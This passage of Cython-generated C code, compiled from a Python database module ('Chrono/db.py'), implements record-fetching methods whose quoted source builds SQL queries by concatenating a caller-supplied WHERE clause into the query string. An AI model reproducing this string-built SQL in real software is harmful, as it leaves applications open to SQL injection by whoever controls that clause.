__Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_8}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 104, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_8}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 104, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 104, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_8); __pyx_t_8 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_5, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 104, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Chrono/db.py":105 * cursor = self._link.cursor() * cursor.execute("SELECT * FROM "+ self.__class__.__name__+" WHERE "+wclause+" LIMIT %d,1"%(index )) * data = cursor.fetchone() # <<<<<<<<<<<<<< * cursor.close() * if data == None: */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_cursor, __pyx_n_s_fetchone); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 105, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_5) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 105, __pyx_L3_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 105, __pyx_L3_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_v_data = __pyx_t_4; __pyx_t_4 = 0; /* "Chrono/db.py":106 * cursor.execute("SELECT * FROM "+ self.__class__.__name__+" WHERE "+wclause+" LIMIT %d,1"%(index )) * data = cursor.fetchone() * cursor.close() # <<<<<<<<<<<<<< * if data == None: * self.newRecord() */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_cursor, __pyx_n_s_close); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 106, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_5) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 106, __pyx_L3_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 106, __pyx_L3_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Chrono/db.py":107 * data = cursor.fetchone() * cursor.close() * if data == None: # <<<<<<<<<<<<<< * self.newRecord() * print("SELECT * FROM "+ self.__class__.__name__+" WHERE "+wclause+" LIMIT %d,1"%(index )) */ __pyx_t_4 = PyObject_RichCompare(__pyx_v_data, Py_None, Py_EQ); __Pyx_XGOTREF(__pyx_t_4); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 107, __pyx_L3_error) __pyx_t_9 = __Pyx_PyObject_IsTrue(__pyx_t_4); if (unlikely(__pyx_t_9 < 0)) __PYX_ERR(0, 107, __pyx_L3_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__pyx_t_9) { /* "Chrono/db.py":108 * cursor.close() * if data == None: * self.newRecord() # <<<<<<<<<<<<<< * print("SELECT * FROM "+ self.__class__.__name__+" WHERE "+wclause+" LIMIT %d,1"%(index )) * return False */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_newRecord); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 108, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_5) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 108, __pyx_L3_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 108, __pyx_L3_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Chrono/db.py":109 * if data == None: * self.newRecord() * print("SELECT * FROM "+ self.__class__.__name__+" WHERE "+wclause+" LIMIT %d,1"%(index )) # <<<<<<<<<<<<<< * return False * else: */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_class); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 109, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_name); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 109, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = PyNumber_Add(__pyx_kp_u_SELECT_FROM, __pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 109, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = PyNumber_Add(__pyx_t_4, __pyx_kp_u_WHERE); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 109, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = PyNumber_Add(__pyx_t_6, __pyx_v_wclause); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 109, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = PyUnicode_Format(__pyx_kp_u_LIMIT_d_1, __pyx_v_index); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 109, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = PyNumber_Add(__pyx_t_4, __pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 109, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = PyTuple_New(1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 109, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_t_6, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 109, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; /* "Chrono/db.py":110 * self.newRecord() * print("SELECT * FROM "+ self.__class__.__name__+" WHERE "+wclause+" LIMIT %d,1"%(index )) * return False # <<<<<<<<<<<<<< * else: * for i in range( 0, len(data) -1 ): */ __Pyx_XDECREF(__pyx_r); __Pyx_INCREF(Py_False); __pyx_r = Py_False; goto __pyx_L7_try_return; /* "Chrono/db.py":107 * data = cursor.fetchone() * cursor.close() * if data == None: # <<<<<<<<<<<<<< * self.newRecord() * print("SELECT * FROM "+ self.__class__.__name__+" WHERE "+wclause+" LIMIT %d,1"%(index )) */ } /* "Chrono/db.py":112 * return False * else: * for i in range( 0, len(data) -1 ): # <<<<<<<<<<<<<< * self._data[self._desc[i][0]] = data[i] * except Exception as e: */ /*else*/ { __pyx_t_10 = PyObject_Length(__pyx_v_data); if (unlikely(__pyx_t_10 == -1)) __PYX_ERR(0, 112, __pyx_L3_error) __pyx_t_11 = (__pyx_t_10 - 1); for (__pyx_t_10 = 0; __pyx_t_10 < __pyx_t_11; __pyx_t_10+=1) { __pyx_v_i = __pyx_t_10; /* "Chrono/db.py":113 * else: * for i in range( 0, len(data) -1 ): * self._data[self._desc[i][0]] = data[i] # <<<<<<<<<<<<<< * except Exception as e: * print(e) */ __pyx_t_5 = __Pyx_GetItemInt(__pyx_v_data, __pyx_v_i, Py_ssize_t, 1, PyInt_FromSsize_t, 0, 1, 1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 113, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 113, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_desc); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 113, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_8 = __Pyx_GetItemInt(__pyx_t_4, __pyx_v_i, Py_ssize_t, 1, PyInt_FromSsize_t, 0, 1, 1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 113, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetItemInt(__pyx_t_8, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 113, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; if (unlikely(PyObject_SetItem(__pyx_t_6, __pyx_t_4, __pyx_t_5) < 0)) __PYX_ERR(0, 113, __pyx_L3_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } /* "Chrono/db.py":102 * * def getRecord(self, wclause, index = 0 ): * try: # <<<<<<<<<<<<<< * cursor = self._link.cursor() * cursor.execute("SELECT * FROM "+ self.__class__.__name__+" WHERE "+wclause+" LIMIT %d,1"%(index )) */ } __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; goto __pyx_L10_try_end; __pyx_L3_error:; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; /* "Chrono/db.py":114 * for i in range( 0, len(data) -1 ): * self._data[self._desc[i][0]] = data[i] * except Exception as e: # <<<<<<<<<<<<<< * print(e) * return False */ __pyx_t_12 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_12) { __Pyx_AddTraceback("Chrono.db.db.getRecord", __pyx_clineno, __pyx_lineno, __pyx_filename); if (__Pyx_GetException(&__pyx_t_5, &__pyx_t_4, &__pyx_t_6) < 0) __PYX_ERR(0, 114, __pyx_L5_except_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GOTREF(__pyx_t_4); __Pyx_GOTREF(__pyx_t_6); __Pyx_INCREF(__pyx_t_4); __pyx_v_e = __pyx_t_4; /*try:*/ { /* "Chrono/db.py":115 * self._data[self._desc[i][0]] = data[i] * except Exception as e: * print(e) # <<<<<<<<<<<<<< * return False * self.indb = True */ __pyx_t_8 = PyTuple_New(1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 115, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_INCREF(__pyx_v_e); __Pyx_GIVEREF(__pyx_v_e); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_v_e); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_t_8, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 115, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Chrono/db.py":116 * except Exception as e: * print(e) * return False # <<<<<<<<<<<<<< * self.indb = True * self.modified = False */ __Pyx_XDECREF(__pyx_r); __Pyx_INCREF(Py_False); __pyx_r = Py_False; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; goto __pyx_L18_return; } /* "Chrono/db.py":114 * for i in range( 0, len(data) -1 ): * self._data[self._desc[i][0]] = data[i] * except Exception as e: # <<<<<<<<<<<<<< * print(e) * return False */ /*finally:*/ { /*exception exit:*/{ __Pyx_PyThreadState_declare __pyx_L19_error:; __pyx_t_15 = 0; __pyx_t_16 = 0; __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20); if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_15, &__pyx_t_16, &__pyx_t_17) < 0)) __Pyx_ErrFetch(&__pyx_t_15, &__pyx_t_16, &__pyx_t_17); __Pyx_XGOTREF(__pyx_t_15); __Pyx_XGOTREF(__pyx_t_16); __Pyx_XGOTREF(__pyx_t_17); __Pyx_XGOTREF(__pyx_t_18); __Pyx_XGOTREF(__pyx_t_19); __Pyx_XGOTREF(__pyx_t_20); __pyx_t_12 = __pyx_lineno; __pyx_t_13 = __pyx_clineno; __pyx_t_14 = __pyx_filename; { __Pyx_DECREF(__pyx_v_e); __pyx_v_e = NULL; } __Pyx_PyThreadState_assign if (PY_MAJOR_VERSION >= 3) { __Pyx_XGIVEREF(__pyx_t_18); __Pyx_XGIVEREF(__pyx_t_19); __Pyx_XGIVEREF(__pyx_t_20); __Pyx_ExceptionReset(__pyx_t_18, __pyx_t_19, __pyx_t_20); } __Pyx_XGIVEREF(__pyx_t_15); __Pyx_XGIVEREF(__pyx_t_16); __Pyx_XGIVEREF(__pyx_t_17); __Pyx_ErrRestore(__pyx_t_15, __pyx_t_16, __pyx_t_17); __pyx_t_15 = 0; __pyx_t_16 = 0; __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_lineno = __pyx_t_12; __pyx_clineno = __pyx_t_13; __pyx_filename = __pyx_t_14; goto __pyx_L5_except_error; } __pyx_L18_return: { __pyx_t_20 = __pyx_r; __pyx_r = 0; __Pyx_DECREF(__pyx_v_e); __pyx_v_e = NULL; __pyx_r = __pyx_t_20; __pyx_t_20 = 0; goto __pyx_L6_except_return; } } } goto __pyx_L5_except_error; __pyx_L5_except_error:; /* "Chrono/db.py":102 * * def getRecord(self, wclause, index = 0 ): * try: # <<<<<<<<<<<<<< * cursor = self._link.cursor() * cursor.execute("SELECT * FROM "+ self.__class__.__name__+" WHERE "+wclause+" LIMIT %d,1"%(index )) */ __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_1); __Pyx_XGIVEREF(__pyx_t_2); __Pyx_XGIVEREF(__pyx_t_3); __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); goto __pyx_L1_error; __pyx_L7_try_return:; __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_1); __Pyx_XGIVEREF(__pyx_t_2); __Pyx_XGIVEREF(__pyx_t_3); __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); goto __pyx_L0; __pyx_L6_except_return:; __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_1); __Pyx_XGIVEREF(__pyx_t_2); __Pyx_XGIVEREF(__pyx_t_3); __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); goto __pyx_L0; __pyx_L10_try_end:; } /* "Chrono/db.py":117 * print(e) * return False * self.indb = True # <<<<<<<<<<<<<< * self.modified = False * return True */ if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_indb, Py_True) < 0) __PYX_ERR(0, 117, __pyx_L1_error) /* "Chrono/db.py":118 * return False * self.indb = True * self.modified = False # <<<<<<<<<<<<<< * return True * */ if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_modified, Py_False) < 0) __PYX_ERR(0, 118, __pyx_L1_error) /* "Chrono/db.py":119 * self.indb = True * self.modified = False * return True # <<<<<<<<<<<<<< * * def getNextRecord(self ): */ __Pyx_XDECREF(__pyx_r); __Pyx_INCREF(Py_True); __pyx_r = Py_True; goto __pyx_L0; /* "Chrono/db.py":101 * return data * * def getRecord(self, wclause, index = 0 ): # <<<<<<<<<<<<<< * try: * cursor = self._link.cursor() */ /* function exit code */ __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); __Pyx_XDECREF(__pyx_t_7); __Pyx_XDECREF(__pyx_t_8); __Pyx_AddTraceback("Chrono.db.db.getRecord", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_cursor); __Pyx_XDECREF(__pyx_v_data); __Pyx_XDECREF(__pyx_v_e); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "Chrono/db.py":121 * return True * * def getNextRecord(self ): # <<<<<<<<<<<<<< * try: * cursor = self._link.cursor() */ /* Python wrapper */ static PyObject *__pyx_pw_6Chrono_2db_2db_11getNextRecord(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_6Chrono_2db_2db_11getNextRecord = {"getNextRecord", (PyCFunction)__pyx_pw_6Chrono_2db_2db_11getNextRecord, METH_O, 0}; static PyObject *__pyx_pw_6Chrono_2db_2db_11getNextRecord(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("getNextRecord (wrapper)", 0); __pyx_r = __pyx_pf_6Chrono_2db_2db_10getNextRecord(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_6Chrono_2db_2db_10getNextRecord(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_v_cursor = NULL; PyObject *__pyx_v_data = NULL; Py_ssize_t __pyx_v_i; PyObject *__pyx_v_e = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; PyObject *__pyx_t_6 = NULL; PyObject *__pyx_t_7 = NULL; PyObject *__pyx_t_8 = NULL; int __pyx_t_9; Py_ssize_t __pyx_t_10; Py_ssize_t __pyx_t_11; int __pyx_t_12; int __pyx_t_13; char const *__pyx_t_14; PyObject *__pyx_t_15 = NULL; PyObject *__pyx_t_16 = NULL; PyObject *__pyx_t_17 = NULL; PyObject *__pyx_t_18 = NULL; PyObject *__pyx_t_19 = NULL; PyObject *__pyx_t_20 = NULL; __Pyx_RefNannySetupContext("getNextRecord", 0); /* "Chrono/db.py":122 * * def getNextRecord(self ): * try: # <<<<<<<<<<<<<< * cursor = self._link.cursor() * cursor.execute("SELECT * FROM "+ self.__class__.__name__+" LIMIT %d,1"%(self._index + 1)) */ { __Pyx_PyThreadState_declare __Pyx_PyThreadState_assign __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); __Pyx_XGOTREF(__pyx_t_1); __Pyx_XGOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_t_3); /*try:*/ { /* "Chrono/db.py":123 * def getNextRecord(self ): * try: * cursor = self._link.cursor() # <<<<<<<<<<<<<< * cursor.execute("SELECT * FROM "+ self.__class__.__name__+" LIMIT %d,1"%(self._index + 1)) * data = cursor.fetchone() */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_link); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 123, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_cursor); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 123, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_5) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 123, __pyx_L3_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 123, __pyx_L3_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_v_cursor = __pyx_t_4; __pyx_t_4 = 0; /* "Chrono/db.py":124 * try: * cursor = self._link.cursor() * cursor.execute("SELECT * FROM "+ self.__class__.__name__+" LIMIT %d,1"%(self._index + 1)) # <<<<<<<<<<<<<< * data = cursor.fetchone() * cursor.close() */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_cursor, __pyx_n_s_execute); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 124, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_class); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 124, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_name); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 124, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = PyNumber_Add(__pyx_kp_u_SELECT_FROM, __pyx_t_7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 124, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_index); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 124, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_8 = __Pyx_PyInt_AddObjC(__pyx_t_7, __pyx_int_1, 1, 0); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 124, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = PyUnicode_Format(__pyx_kp_u_LIMIT_d_1, __pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 124, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_8 = PyNumber_Add(__pyx_t_5, __pyx_t_7); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 124, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_7) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 124, __pyx_L3_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_8}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 124, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_8}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 124, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 124, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_8); __pyx_t_8 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_5, NULL); if (unlikely(!__pyx_t_4)) 